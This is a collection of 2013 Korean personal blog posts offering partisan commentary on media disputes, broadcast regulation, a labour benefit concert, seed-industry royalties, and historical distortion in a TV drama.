공약

공지영

관상

교과서

교학사

구글글래스

구스

국민연금

극우

김무성

김연아

꽃할배

낙하산

뉴라이트

니치

댓글(국정원)

도박

도올

독재

돌직구

디스

류승룡

류현진

마녀사냥

마약

막장

만델라

민주주의

박근혜

박시후

박인비

박정희

방사능

방심위

백만송이

베를린

복지

부동산

부정

부패

북유럽

불통

비리

빅데이터

빈티지

삼성전자

서화숙

설국열차

수지

 

숨바꼭질

스마트폰

스웨그

승부조작

시구

시국선언

신동엽

신세계

심리전

싸이

썰전

씨름

아시아나

아청법

안철수

압류

양현석

역사

연예병사

오만

왜곡

외압

유재석

응사

응칠

이명박

이병헌

이승만

이외수

이정재

인문학

전두환

전력

전재용

조용필

조정래

종북

좌파

직장의신

찌라시

창조경제

천안함

추징법

친일파

컨트롤비트

케나다구스

크레용팝

클라우드

탄압

탈세

트위터

틈새

패딩

폭침

표절

프로포폴

하이브리드

하정우

한국사

헌법

 

 

  (추가중) 비트코인, 진격의거인, 조작, 성형, 시청률, 채굴, 노벨상, 원전, 부실, 민영화, 예의, 안녕, '말이 안통하네또', KTX, 면허, 망치부인, 변호인.

 

 

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팩트TV의 선전 기대 - 거대 자본의 언론사들과 맞서다

 

2007년에 인터넷 신문 <커널뉴스>로 출발하여, 2010년부터는 선거방송의 외주 제작으로 후보 유세 실시간 이동 생중계 방송으로 알려져 있고, 대안언론의 새로운 기대주로 부상중인 언론사. 2013년에 인터넷 종합편성방송으로 발전해 온 팩트TV가 2대 공영방송인 KBS, MBC와 종편 방송인 JTBC, TV조선을 [각주:1]상대로 12월 4일자 형사 소송을 제기했고, 곧 민사 소송도 제기할 예정이라고 한다.

 

사진 출저: 팩트TV(기사 ☞ 참조)

 

지난 11월 22일 전북 군산에서 열린 천주고 정의구현사제단 전주교구의 박창신 신부가 진행한 시국미사의 영상을 무단 도용하여 저작권법을 위반하였다는 것이다. 심지어, 이 방송사들은 왜곡보도와 함께 출처 표기와 자막을 가리는 등의 변조까지 했다고 한다. 이에 팩트TV측에서 각 방송사에 항의를 했음에도 불구하고 소송을 진행하는 시점까지도 아무런 반응도 없다고 한다.

 

또 한가지 의혹은, 방송사들이 왜 거의 동시에, 타 방송사의 영상을 무단 도용하는 무리수를 감행하면서까지 일제히 비슷한 논조로 편파 왜곡 보도를 했는지에 대해서이다. 일종의 위로부터의 지시(또는 압력)이 있었을 지도 모른다는 것.

 

어쨌든, 작은 인터넷 언론사(다윗)이 거대 자본과 플랫폼을 가진 언론사(골리앗 들)를 향해 돌팔매질을 한 것이다. 골리앗들이 제대로 잘 못한 것은 빼도 박도 못할 사실이니, 이들이 어떻게 대처할지 결과가 주목된다. 하지만 아직까지는 미동도 하지 않는다고 하는데...(하기사 헌법 위반하고도 꿈쩍도 않는데, 법규 위반 좀 했기로서니 뭔 일 있을라나?).

 

이번에 논의 발표 예정인 '방송산업 발전 종합계획'에 포함된 '지상파 다채널서비스(MMS) 규제 완화' 같은 내용을 보면, MBC-1, MBC-2, KBS-3 과 같은 다채널이 더 만들어 질 수 있다는 것인데, 그렇지 않아도 덩치 큰 거대 자본에 광고 수입이 엄청난 회사들이 앞으로 더 커지면서 중소 언론사와의 격차가 커 질 전망이다. 현재 여러 가지로 편파보도 등의 도를 넘어서고 있는 거대 방송사들이 덩치도 커지고 힘도 더 세어질 텐데 심히 걱정된다.

 

관련 유튜브 영상(☞ 로딩 느리면 바로가기)

 

어쨌든, 으리으리한 고급 뷔페 식당이, 아주 작은 이웃 국수집의 주방에서 잘 삶아진 국수를 훔쳐가 뷔페 손님들에게 팔아먹은 것과 비슷한 형국이다. 국수 한 가지로 먹고 살기도 팍팍한 조그만 식당 주인인데, 이제 제대로 한 번 열 받은거다. 쉽게 간단히 끝날 것 같지 않지만, 원칙와 정도를 벗어난 행위에 대해서는, 반드시 죄를 물어야 하지 않을까?

 

 

이겨라, 다윗!  멋지다, 팩트TV!  힘내라, 대한민국!

 

[참고] 인터넷종합편성방송 팩트TV(링크 ☞ 참고) 는 방송 제작과 4대방송사 소송 비용 등의 충당을 위한 정기/일반 후원과 생중계 지원 특별펀드(3년뒤 이자 3%와 함께 돌려 받는) 등의 국민 후원을 애타게 기다리고 있다.

 

국민을 위한 공정하고 객관적인 방송을 주로 하는 이 대안언론사는 현재 팩트TV 홈페이지를 비롯,

  • 다음 카페
  • 아프리카TV
  • 유스트림
  • 유튜브
  • 다음TV팟
  • 판도라TV
  • iBlug 팟캐스트
  • 아이튠즈 팟캐스트
  • 팟빵
  • 페이스북
  • 트위터

와 같은, 인터넷으로 동영상이 플레이 될 수 있는 12개의 매체나 플랫폼들을 통해 활발히 자사의 뉴스와 제작 동영상을 배포하고 있다.

 

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  1. SBS에서는 게재전 확인 요청이 와서 팩트TV측에서 거부하였다고 하며, 채널A는 음성만 사용했다고 한다. [본문으로]
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어제는 꾀꼬리 같이 예쁜 언론에서 앞 뒤 다 잘라 먹고, 특정 부분만 편집해서 뉴스에 내보내더니...

오늘은 국민 혈세까지 낭비하며 분위기 연출을 위해 지역 주민까지 억지로 동원이라...



[수정] 제목과 본문에, 박창신 신부님의 이름을 '박창선' 이라고 잘못 기재하였으며, 오류 수정하여 다시 저장합니다


어제(12월3일) TV뉴스에 박창신 신부 망언 규탄 집회 모습, 기억 나십니까? 어딘지 모르게 어정쩡하고 어색하게 피켓을 들고 구호를 외치던 그 분들이, 사실 연평면사무소에서 주최한 공공근로 사업에 참여하던 동네 어르신 분들입니다. 북한 포격의 피해를 입은 연평도에 계시는 선량한 분들을 이용한 겁니다.


결국 이 분들에게는 피켓 들고 영혼 없이 구호를 외친 덕분으로 일당 3만 5천원이 주어졌습니다. 원래는 해안가 청소 같은 일을 해야 주어지던 돈이었는데 말입니다. 우리의 혈세 수백만원이 누군가에 의해 목적이 전혀 다른 일에 쓰인 겁니다.


한심하고 부끄럽고, 또 안타깝고 화가 나는 건, 누가 봐도 뻔한 저열한 방식으로, 힘 없고 순진 무구한 사람들을 겁주고 얼러서 동원하고는 카메라 한 번 들이대면 그만이라는 것. 분위기 한 번 띄워 놓으면 보수단체에서 움직이는 명분 만들어 주기에 딱이겠네요.


일자리 창출 사업이라는 명분으로, 망언 규탄 대회를 열어서 국민을 현혹시키는 연출. 심지어 규탄대회에 나가지 않으면 빨갱이로 몰리는 분위기까지 연출하는 짓. 참 할 말이 없습니다. 면사무소에서는 안내방송으로 주민들에게 규탄대회 참여를 독려(한분도 빠짐 없이...라고)까지 했다고 합니다. 나중에는 '자발적이었다' 라고 오리발까지 내미는...공무원.


왜 하필 연평도 였을까요? 어르신들이 들고 있던 깔끔한 피켓과 문구는 누가 만들었을까요? 면사무소에는 누군가 압력이나 지시를 넣지는 않았을까요? 언론과 지자체공무원과 또 누군가가 이 일을 고의로 벌인것 같지 않나요? 참으로 알 길이 없고 답도 안보입니다.



대한민국의 어떤 시대였든 진정한 종교인들은 시대의 양심이었습니다. "시대의 아픔과 타락이 시국미사를 부른다" 라는 <변상욱의 기자수첩> 의 얘기가 떠오릅니다. 불교계에서도 움직이고 있습니다. 아래에 조계종 시국선언 동영상도 링크 하였고, 기독교에서도, 천주교 평신도도 조만간 다시 시국선언을 할 예정이라고 합니다. 사태가 뭔가 좀 이상하게 커지는 것 같습니다. 장난이 아닌 것 같습니다. 아무래도.


관련 기사(오마이뉴스)


☞ 유튜브 박창신 신부 미사 전체 영상(로딩 느리면 바로가기)


☞ 유튜브 조계종 청화스님 시국 미사(로딩 느리면 바로가기)



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지난 10월, 큰 고민 없이 선뜻 수락했던 콜텍문화재단 주최 공연 참가에 대해 사과하며, 무거운 마음으로 공연을 마쳤던 기타리스트 신대철과 레전드들(G6). 기회가 되었을 때 콜트콜텍 기타노동자들을 위한 공연을 하겠다던 약속을 지킵니다.


당초의 G6가 다 모이지 않아서 좀 아쉽지만, 나름 사정이 있었겠지요. 아래 공연 정보 보시고, 관심 있으시면 참석해서 후원도 하고, 공연도 즐겨 보세요. 공연관람료는 예매일 경우 2만원, 현매는 3만원이라고 합니다.


예스24에서 현재 예매중이며, 인터파크는 12월 6일(금)에 예매 오픈 예정이라고 합니다.


  • 신대철, 김목경, 최이철, 한상원, 시나위와 게이트플라워즈의 재능기부
  • 공연명: 콜트콜텍기타 노동자들을 위한 콘서트
  • 장소: 홍대앞 예스24 무브홀
  • 시간: 2013년 12월 15일(일) 오후 5:00




부당해고와 노동자 탄압으로 8년째 고통 받고 계시는 그 분들과 가족들, 용기 잃지 마시고 계속 힘내시기를 기원합니다.

아울러...... "멋지다. 신대철!"


관련 이전 포스팅

관련 참조 기사(시사인)

관련 참조 기사(오마이뉴스)


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TV로 연예 오락 프로그램을 즐겨 보지는 않지만, 유독 관심을 가지고 보는 게 <개그콘서트>, <진짜사나이> 그리고 <코미디빅리그>. 그 외의 프로그램은 거의 다 자연 다큐멘터리나 시사/교양프로그램 들이다. 혹시 못 보면 지난 회를 Pooq이나 IPTV로 챙겨보기도 하는데, 이번 해군2함대 입대 편은 보는 내내 불편했다.

 

시종 일관 강압적이고 위협적인 지휘 방식이나, 무리스러운 상황 연출도 그렇고 말이다. 내가 군대 생활을 안해 본 것도 아니고, 군에 입대한 아들까지 있는데, 요즘 군대 저렇지 않다던데 라는 생각이 계속 들었다. 나이 어린 여군 소위(갑판사관 이던가)가 짠밥이 한참 위인 원사(상사?) 앞에서 고래 고래 소리치는 모습이나, 40대 아저씨 출연자들에게 '너' 라고 하는 모습도 그렇고, 점호 때 두고 보자는 등...

 

아니나 다를까, 아래 캡처와 같은 일이 발생한 것이다. 지인이 올린 페이스북 이미지를 캡처한 것이다. 요즘 MBC가 어딘지 모르게 참 많이 이상하다 싶다. 자주 보지도 않는 데도, 뉴스도 그렇고, <아빠어디가> 해외편이나 같이 편성되는 <진짜사나이>도, 회가 거듭될수록 무리수가 자꾸 나온다 싶었다.

 

어차피 다큐멘터리가 아닌 다음에야 예능/오락성과 리얼리티를 화면에 담다 보면, 약간의 연출과 각색은 있기 마련이라는 것은 이제 어지간한 시청자들은 눈치 채고 이해하겠지만 말이다. 하지만, '가도 적당히 가야지' 너무 심하면 결국 시청자는 인상을 찌푸리고 싫은 느낌을 받게 되어 있다. 이번은 분명히 에러다.

 

 

 

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공영방송, 앵커 교체만 한다고 혁신이 되나?

(부제: 발 묶인 꾀꼬리의 잔상)

 

"젊은 분위기로 이미지 쇄신", "새 바람 일으킬 것", ...
KBS <뉴스9> 민경욱에서 최영철(문화부 출입) 기자로, 2013년 10월21일
MBC <뉴스데스크> 권재홍에서 박상권으로, 2013년 12월18일

 

 

 

뉴스 앵커를 젊은 진행자로 바꾸고, 진행 방식을 역동적(다원, 대담 방식... 이런거 예전에는 안했나?), 현대적으로 바꾸면 방송이 혁신될까? 언론이 언론의 역할을 제대로 수행하는 것이, 단순히 앵커의 얼굴만 젊은 모습으로 바꾸고, 화려한 그래픽과 생생한 화질로만 승부한다고 뭐가 될지 모르겠다. 옷을 갈아 입는 상황도, 방식도 너무 식상하다. 이것이 공영방송의 진정한 역할인가?

 

앵커 교체 과정이나 프로그램 편성시에도, 과정이 투명하거나 합리적이지 않다는 얘기가 기자협회 홈페이지에서 심심치 않게 보인다. MBC는 말할 것도 없고, KBS의 경우 <역사저널, 그날>의 결방, 멀쩡한 <TV쇼 진풍명품> 진행자 임의 교체와 더불어 반발하는 제작진 강제 인사 발령 등...

 

 

방송국도 기업이다. 기업은 구성원 소통이 중요

 

공영이든 국영이든, 방송국도 기업이다. 기업에서 구성원들 간의 소통이 제대로 안된다는 것은 분명히 내부에 어떤 불신 요인이 있거나, 강압적인 체계의 문제 또는 외압에 굴해야 되는 문제를 안고 있다는 것이고, 그런 문화를 가진 기업이 정상적인 모습으로 오래 존속될지는 물어보나 마나 아닌가?

 

현재의 공영방송사들은 애초에 한국적 앵커시스템이라는 것에 얽매어 있어서, 조직 권한이나 편집 권한은 보도국장이 그대로 쥔 채, 앵커는 뉴스의 진행과 멘트에 대해서만 책임을 지는 기능적인 제한이 있는 상태에 머물러 있다. 이런 상황에서 앵커에게 대단한 기대를 거는 것은 무리가 많이 따른다.

 

 

상황이 이러한데, 앵커만 젊은 얼굴로 바꾼다고 해서, 미국 드라마 <뉴스룸>에서처럼 앵커가 철학과 주관을 가지고, 시청자 입장에서 속시원하게 할 말/질문을 다 해주는 것을 듣는, 그런 후련함을 기대하는 것은 현실과의 괴리가 너무 크다는 말이다.

 

 

끊임 없이 혁신하지 않으면 추락한다 - <100년의 가게>에서 가장 자주 만나는 교훈

 

그렇다면, 앵커에게 모든 것을 맡기고 전권을 주든, 어느 정도 자율성을 보장하고 뉴스의 생산과 편집 과정에서의 현실적 참여를 시키든, 어떤 형태라도 근원적인 보도 방식의 혁신을 이루어야만, 바르고 공정한 정보를 국민에게 배달하는 진정한 공영방송의 변화하려는 자세가 나오는 것은 아닐까?

 

방송국 사원에게 강조되는 가장 중요한 인재상 중에 아마도 창조와 도전 ... 이런 말들이 들어 있을 것이다. 인재상이란 경영이념에 바탕을 둔 조직원의 기본적인 소양과 덕목이라는 얘기인데, 손발 다 묶어 놓고, 창조적이고 도전적으로 일을 하라? 너무 이율배반적인 것이라는 느낌이다.

 

"뉴스의 문제는 앵커가 아니다" 라고 말하며 뉴스를 만드는 시스템 전반의 개혁과 인적 쇄신이 필요하고, "앵커를 바꿀 것이 아니라 앵커를 바꾸는 사람들을 바꿔야 한다" 라고 주장하는 한 기자의 말이 떠오른다.

 

 

더 이상 기대하지 않는다면 관심, 사랑이 없는 것

 

어떤 방송이든, 시늉만 하는 공정 보도, 겉치레만 치중하는 언론의 모습에서 시청자는 과연 무엇을 느낄까? 언제까지 권력 우호형의 무지개 색깔 앵무새로만 남으려는지. 몇 년 후, 대통령 임기가 끝나고 새로운 대통령과 집권당이 들어서면 또 새로운 앵커로 바꾸고 어떤 '혁신'의 모습으로 옷을 갈아 입게 될지 잘 지켜볼 일이다.

 

사랑이 식으면 무관심으로 변한다. 무관심은 가장 무서운 결별이 아닌가? 아무도 찾아 주지 않는 가게, 아무도 믿고 들어 주지 않는 <아나운서>가 되지 않도록. 방송국들이여, 진짜 변혁을 한 번 꾀함은 어떨지?

 

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얼마 전 포스팅에서 소개/홍보했던 <뉴스타파>라는 탐사저널리즘 매체를 접해보셨을 것으로 생각됩니다. 작은 규모임에도 '제대로 알리는 정신'을 갖추고 조사, 분석하고 보도하는데 아주 고생들이 많으십니다. 뉴스타파 뿐 아니라, <그것이 알고 싶다>, <추적60>분 같은 탐사를 전문으로 하는 방송 프로그램들이나 여타 많은 대안언론들도 다수 존재하지요.

 

요즘 기존 언론들이 너무 바빠서 미쳐 다 못하는 일들을 대신 해주고 계시는 블로거나 대안언론 회사들이 참 많습니다. 너무들 활발하고, 다양하게 나타나서 일일이 소개 못하는 것이 안타깝네요. 어쨌든 이 분들을 위해 박수 쳐 드려야 합니다.

 

 

요즘 TV나 매체들을 접하면, 뭔가 막 어수선합니다. 누가 옆에서 입을 틀어 막고 있는 것 같기도 하고...어떨 때는 또 아주 신랄하고, 그러다가 또 누가 막 줘패서 조용해 지는 것 같기도 하고...여튼 아주~ 어지럽습니다. 

 

그런데, 유독 자주 보이는 이름이 하나 눈에 들어옵니다. 바로 <방송통신심의위원회>, 줄여서 <방심위>라고 하는군요. 이 방심위의 '방송심의 소위원회'는 여권 위원들이 다수를 점하고 있네요. 아주 우연하게도 말이지요. 산하에 세 개의 소위원회로 나뉘어 지는군요. 방송심의, 통신심의, 광고심의. 좋은 일들 하시는데요.

 

매체사에서 일하는 PD, CP님들은 아실겁니다. 여기에 불려 가기 몇일 전후로 전두엽과 측두엽을 쥐어 짜는 스트레스, 소화불량, 과민성대장증상, ... 여담이구요.

 

아래 링크에 걸려 있는 기사와 관련해서는 아직 회의록이 정리가 안되어 있는지 볼 수가 없네요.

 

관심 있으신 분은 <방송통신심의위원회> ☞링크 소위원회 회의 > 부문별 회의록 메뉴로 가시면 pdf로 다운받아서 보실 수 있습니다.

 

 

 

▲ 때문에 그렇군요(링크 ☞ 참조)

 

JTBC 보도부문사장이신 '손석희'님이 진행하는 <뉴스9> 때문에 그렇군요. 나름 대단하십니다. '종편'이면 바로 그 ... 종편인데 말이지요.

 

이제 누군가는 또 바쁘게 움직이겠네요. 사생활, 먼 친척부터 가족관계, 경력 ... 막 들이 파서 뭐 하나 얻어 걸려야 하니...후덜덜합니다. 혹시 아나요, 재떨이에 담배꽁초가 아닌 장초 버린 걸로 걸릴지도 몰라요.

 

또 있습니다.

 

 

 

링크 ☞ 참조

 

[참고] 엠네스티 언론상은 국제 엠네스티(국제사면위원회, Amnesty International, AI)라고하는 세계인권운동단체에서 주관하는 저널리즘상으로 1997년부터 시작해서 매년 12월 10일(세계인권선언일)에 시상됩니다.

 

위 기사를 따라가 보면 또 이런 게 있습니다.

 

 

 

링크 ☞ 참조

 

검색 포털 찾아보면, 아주 가관입니다. '좌충우돌', '전가의 보도', '권위주의' 뭐 그런 말들이 생각나네요. 부지런하시고, 용감하신 분들.

 

 

 

링크 참조

 

기사 보고는 이런 문장이 머리 속을 스치더군요. "이 새* 감히 그 분의 심기를 건드려!"

 

[참고영상] 지난 6월쯤에 방송 됐던 건데, '두 얼굴의 이승만' 이런 제목들의 시리즈 기획물이었습니다. 식민지근대화론, 친일파 관련 내용입니다. 직접 보는 것이 좋으니 일단 영상 4개를 게재하지요. 궁금하신 분은 반드시 순서대로 보시길.

 

로딩 느리면 유튜브 직접 보기

 

로딩 느리면 유튜브 직접 보기

 

 

[백년전쟁 반박 영상-생명의길] 로딩 느리면 유튜브 직접 보기

 

 

[생명의길 반박 영상] 로딩 느리면 유튜브 직접 보기

 

(4개의 동영상에서 어떤 것을 느끼든, 그것은 읽는 분의 자유입니다.)

 

 

재미난 거 또 있어요. 아주 많습니다. 검색포탈에서 '방심위' 라고 처보세요. 좌라라락~ 나옵니다. <마녀사냥>도 건드렸네요. 이전으로 거슬러 올라가면 <개콘>, <무한도전> 도 나오고, <무릎팍도사>도 나오고...

 

 

야! 여길 봐야지!

 

누가 시켰는지, 철저한 사명감에 불타 올라서 그러는지는 알 길이 없지만 말입니다. 공정성을 다루어야 하는 곳에서 말이지요, 앞장서서 어느 한 쪽만의 시각으로 몰아가는 듯 하네요. 음, 마치 이런 느낌이 들어요. "니들 말야, 이 쪽만 봐야해, 그건 잘못된 거야...이쪽으로 가야지". "가리고 숨겨야되, 생각이 자유로와지면 사람들이 똑똑해 지거덩", "섹스도 마찬가지야...딱 30년 전 수준이면 돼"......

 

혹시 방심위에 들어가시기 전에는 공정하고 합리적이었던 분들이 일단 몸을 담고 나면 저렇게 변신하는 걸까요? 뭔가 잣대가 있는 것 같기는 합니다. 그런데 그 잣대가 고무줄처럼 늘어 났다가, 쇠처럼 단단해 졌다가 하는군요.

 

우리가 마치 저능아 빙다리 핫바지가 된 느낌이 자꾸 들어요. 새뇌된 걸까요? 아니면 세뇌된 걸까요?

 

이장폐천(以掌蔽天) 스킬 시전!

 

손바닥으로 하늘을 가릴 수 있을까요? 뭐 잠시 몇 사람이 보는 하늘은 가릴 수 있겠지요. 인터넷 강국, 대한민국에서 말이지요. 몇 개 방송국, 종이 신문만 때려잡으면 되는 시기는 이제 지났습니다. 수 많은 대안언론들이 있고, 인터넷 포탈들이 있고, 많고 많은 블로그와 팟캐스트, 유튜브, 모바일과 연계되는 소셜네트워크...이걸 어떻게 다 통제할까요?

 

한국인은 역동적이고 변화를 좋아하며 영리합니다. TV에서 연예인 관련 스캔들이나 이슈만 뜨면 중고등학생들이 부모님한테 물어본답니다. "뭐 또 덮어야 될 게 있나보죠?". 요즘이 이런 세상입니다. 애들도 이미 알 건 다 아는 세상이 온거지요.

 

진실은 어떤 형태로든 알려지고 밝혀지지요. 2040년인가에 미국 케네디 암살 사건의 기록이 공개된다고 합니다. 영화 <관상>에 나오는 계유정난도 생각해 보면, 역사적 기록에 의해 후세의 사람들이 판단하고, 세조라는 왕에 대해서 좋다 나쁘다를 평가하고 있습니다. 야욕일지 애국심일지는 모르겠지만, 비루한 제가 보기에도 최소한 열정은 가진 사람이었다라고 생각됩니다.

 

최소한, 부끄럽지는 말자!

 

우리의 지금 이 순간의 기록들은, 몇 십 년 후의 우리 후손들이 또 평가를 하겠지요. 어떤 평가가 나올지는 모르지만, 최소한 부끄럽지는 않아야 겠습니다. 개뿔 모르면서 4대강이니 뭐니 한답시고, 온갖 부실공사, 비리와 함께 로봇물고기로 혈세를 낭비하고 산하를 망가뜨리며 개 난장을 부려 놓고, 천연덕스럽게 테니스코트 전세 내고 자전거하이킹을 하는 MB처럼, 부끄럽지는 않아야 ...

 

요즘...

 

그 분은 해외 순방이다 뭐다 참 바삐 다녀 오시고, 또 숨가쁘게 지방을 도시면서 연설 좀 하시고, 격려를 아끼지 않으시고...참 바쁘시던데. 실제로는...뭘 하시는지...뭔지 몰라도 아마 참 바쁘실 겁니다. 그런데 그게 뭔지는 모르겠습니다. 본인도 모를지도...

 

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Bryan의 MemoLog. 쉽게 익혀 보는 IT 실습과 개념원리, 코딩 세계의 얕은 맛보기들, 평범한 삶 주변의 현상 그리고 進上, 眞想, 진상들

 

해외 거대 종자기업의 공세가 날로 거세어 지고 있다. 최근 뉴스에서 청양고추(유래는 주석 참조[각주:1])의 종자 사용 로열티가 90년대 외환위기때 글로벌 종자기업 몬산토로 넘어가서 앞으로 10년간 8,000 억원을 지불해야 한다는 내용이 보도되었다.

 

 

이는 비단 청양고추의 로열티에만 국한되는 것이 아니다. 유명한 금싸라기 참외, 불암 배추도 같은 운명의 길을 걷고 있다.

 

외환위기와 함께 온 종자기술 위기

 

90년대 외환위기 시기에 우리나라의 4대 종자 기업인 중앙종묘, 서울종묘, 흥농종묘, 청원종묘가 모두 해외 기업에 합병당했기 때문이다.

 

 

80년대에 토종 고추와 태국고추를 교배하여 신품종인 청양고추를 개발한 중앙종묘가 대표적이다. 중앙종묘와 흥농종묘는 1998년에 멕시코의 세미니스에 매각되고, 이 회사를 다시 몬산토(Monsanto)가 인수한다.

 

그 외에도 서울종묘(신젠타,Syngenta), 청원종묘(사카타, Sakata)도 마찬가지 전철을 밟았고 종자산업의 주권은 전세계 글로벌 업체에 넘어가버린 것이다.

 

영세 업체만 남은 우리 실정, Minority

 

오늘 날 남아 있는 국내 종자기업은 영세한 규모의 단순 생산, 수입, 판매만을 하는 회사들이다. 벼, 배추, 고추, 무 등의 채소 종자의 육종 기술은 세계적인 수준이나, 고 부가가치의 글로벌 품목인 일반 곡물과 양파, 토마토, 양배추, 파프리카 등은 외국 품종이 절대적으로 높은 상황.

 

이미 2012년, 장미와 파프리카 등의 일부 수입종자에 대한 로열티를 지불하기 시작했다. 이는 2002년에 가입한 국제식물 신품종 보호연맹의 로열티 납부 면제기간이 2012년에 끝났기 때문이다.

 

 

 

우리나라의 식량 자급률은 57%대, 주요 종자기업의 해외 인수로 인해 곡물 자급률은 23%대이며 해가 갈수록 하락을 거듭하고 있다. 그중 특히 콩류의 자급률은 2011년 기준 6%대에 머무른다.

 

결국 우리 입안에 들어 가는 음식을, 우리의 힘으로 자급하지 못하고 해외의 기술과 공급에 의존해야 한다는 사실에 관심을 가져야 할 것이다.

 

 

세계 종자시장은 미국, 독일, 프랑스등의 5개 강국이 54%를 점유하고, 상업용 종자도 10대 다국적기업이 70%를 장악하고 있지만, 우리 종자기업이 차지하는 비중은 겨우 1%쯤 되는 듯하다. 연구개발비 투자 규모가 턱없이 낮은 것은 당연한 일.

 

 

협상을 한 것인가 아니면 협박을 당한 것인가?

 

정부에서는 뒤늦은 2009년에 농업 부문을 고부가가치 신성장동력산업으로 재인식하면서 '2020 종자산업 육성대책'을 발표한 바 있다. 이러한 대책이, 일회성 실적으로 그쳐서는 안되며, 정권의 교체와 같은 주변 영향을 받지 않고 흔들림 없는 일관된 추진으로 미래 성장동력을 육성해 나가야 된다. 하지만 4년이 지나도록 전체적인 성과는 미흡한 실정이라고 한다.

 

 

그 동안 정부에서는 무엇을 했고, 그 잘 나간다는 대기업에서는 무엇을 한건지 의문이 간다. 정부에서는 우리 산업의 경쟁력을 생각하면서 문호를 개방해야 하는데, 아무 대책도 없이 당장 시급한 개방부터 하고 보자는 식의 근시안적 태도 때문이 아닐까?

 

대책과 함께 꾸준한 실천을 요구한다

 

정부와 대기업을 포함한 산업계 차원에서 씨앗 주권을 다시 갖춰나가는 '제대로 된 정책, 흔들림 없는 의지와 집행력, 끊임 없는 기술 투자와 연구개발' 노력이 제대로 이루어지지 않으면 앞으로 우리 식탁에 오르는 대다수의 음식과 더불어 각종 채소와 곡물의 씨앗 들에 대한 로열티를, 모든 국민들이 세금으로 내야 하는 치욕스러운 결과가 나올지도 모른다.

 

참고: 종자산업의 도약을 위한 과제 2013년 2월(한국농촌경제연구원)

 

 

[일부 정정] (출처: 대한민국 정책브리핑, ☞참고)

 

언론보도상의 향후 10년간 로열티 부담액 8,000억원에 대해서: 향후 10년간 종자연구개발에 대한 투자가 없을 경우 최대 2,900 억원이 발생할 것으로 추정되며, 정부가 추진 중인 골든시드 프로젝트 등 종자개발 투자가 없을 경우에는 로열티지급액 2,905억 원과 종자 수입액 5,065억 원을 합한 금액이라고 한다.

 

일부 언론에서 신고 배, 켐벨 포도, 후지 사과도 로열티를 지급하는 것으로 알려져 있으나, 과실의 경우 육성 후 25년이 지나면 로열티 지급기간이 만료되어, 현재는 로열티 지급이 없다는 것으로 밝혀 졌다.

 

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  1. 1983년 중앙종묘의 한 연구원이, 제주산 고추와 태국 고추(땡초)를 교배하여, 카레 제조용 캡사이신 추출을 위해 만든 품종. 결국 경제성 부족으로 추출용으로는 실패했으나, 청송과 영양 지역의 농민들에게 시험재배용으로 무상 보급을 하였는데, 이 때의 상품명이 청송의 靑, 영양의 陽 자를 따서 지어 졌다고 함. 요사이에도 청양고추의 고향이 어디냐를 두고 청양군 등 여러 곳에서 말들이 많다고 한다. 철 없이 느껴지지 않는가? 경남 밀양에서만 70% 생산량을 보이고 있을 뿐 아니라, 종자는 이미 우리 것이 아닌데 ... --;; [본문으로]
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Bryan의 MemoLog. 쉽게 익혀 보는 IT 실습과 개념원리, 코딩 세계의 얕은 맛보기들, 평범한 삶 주변의 현상 그리고 進上, 眞想, 진상들

  

 

월화드라마 기황후가 11월 19일, 8회로 자체 최고 시청률을 갈아치우고 16.9%의 시청률을 보였다고 한다. 심지어 동시간대 타 방송의 드라마보다 2배 가까운 시청률을 기록했다. 등장인물의 기량이나 유명세, 그리고 스탭의 연출력도 상당한 영향을 미쳤을 것이고, 역사 왜곡이라고 하는 관심사에 의한, 의도된 건지 아닌지는 모르겠으나 노이즈마케팅 효과도 있을 것이다.

 

요즘 세간에 시끌벅적한 막장[각주:1] 드라마 논란도 결국 시청률을 끌어올리기 위한 저열한 행위들 때문에 지탄 받는 것이고, 드라마 기황후의 그것도 조금 넓은 시각으로 보면 별반 다르지 않은 범주에 드는 듯 하다.

 

물론, 제작진이 많은 열의와 노력으로 야심차게 준비한 작품이고, 출연진들도 열심으로 참여하는 모습은 보기에 어색함 없이 그럴싸하여, 작품성 면에서는 수준 있는 역작이 될 것임은 의심의 여지가 없다.

 

한 편, 이러한 시청률 고공행진과 이슈 상황에 편승해서 각종 매체의 뉴스들도 칭찬 일색이다. 블로그 글들은 비판이나 비평과 긍정적인 의견들이 반반임에도, 거의 매번 방영전이나 직후에 하나 같이 쏟아져 나오는 뉴스들의 칭찬의 향연은 역사 왜곡이라는 화두를 덮어 눌러서 없앨 정도로 기세 등등이다. 팔은 안으로 굽는다고, 어떻게 보면 같은 업종이라고 후하게 봐주는 느낌도 든다.

 

 

시청률도 좋지만 역사의식은 갖추길

이 쯤 되면, 몇 년 전에도 또 그전에도, 이런 상황에서 슬그머니 머리를 드는 생각은 역시 '시청률의 노예' 나 '시청률 지상주의'라는 것일 게다. 단순히 역사적 사실만은 알고 보자라고 이전 포스팅에서 역사만 나열했지만, 뭔가 석연찮기도 하고 우리 시청자가 너무 우민화되어 가는 듯한 느낌이 들어서 한 자 더 적기로 한다.

 

드라마도 상품이고, 상품은 인기가 있어야 잘 팔린다. 잘 팔리면 앞 뒤 광고의 단가가 올라가고 기업의 매출액에 지대한 영향을 준다. 방송 프로그램이 잘 팔린다는 것을 말해 주는 척도가 바로 시청률이다. 광고료와 TV수신료로 먹고 사는 공영방송이라면 몰라도, 하물며 민방 채널에서라면, 이 시청률에 목을 매는 것은 당연한 일.

 

단순히 내 저작물이나 작품에 대한 관심을 끌고 싶은 욕망은 누구나 가지고 있다. 블로그에 글을 쓰는 필자도, 기사를 작성하는 기자나, 영업용 홍보 PT를 기획하는 회사원이나 컴퓨터 프로그램을 짜는 개발자도 누군가의 관심이나 칭찬을 기대하는 것은 마찬가지일 것이다.

 

 

하지만 말이다. 그 저작물 또는 상품이, 내 아이와 그 또래 친구들, 앞날을 기대하는 젊은이들의 역사의식에 잘못된 영향을 줄 수도 있지 않을지 한번 생각해 보았으면 좋겠다. 역사 왜곡에 대한 지적들이 심해지자, 제작진이나 출연진들이 나서서 팩션(Faction)이니, '드라마는 허구일 뿐' 이라는 허울 좋은 변명(속된 말로 Dog드립)을 공개적으로 하는 모습도 나온다.

 

예술과 연기 위주로 살아가는 출연진들이야 그렇다 쳐도, 소위 역사물을 기획하고 만들어가는 연출자가 그런 얘기를 하는 것은, 한마디로 궤변이다. 팩션이란 역사적 사실에 근거한 내용에 살을 붙이고 재해석을 하는 Fact 와 Fiction 이 조합된 신조어인데, Fact 에 기반하였다는 것에 더 비중을 두는 것이 역사물인 것이다.

 

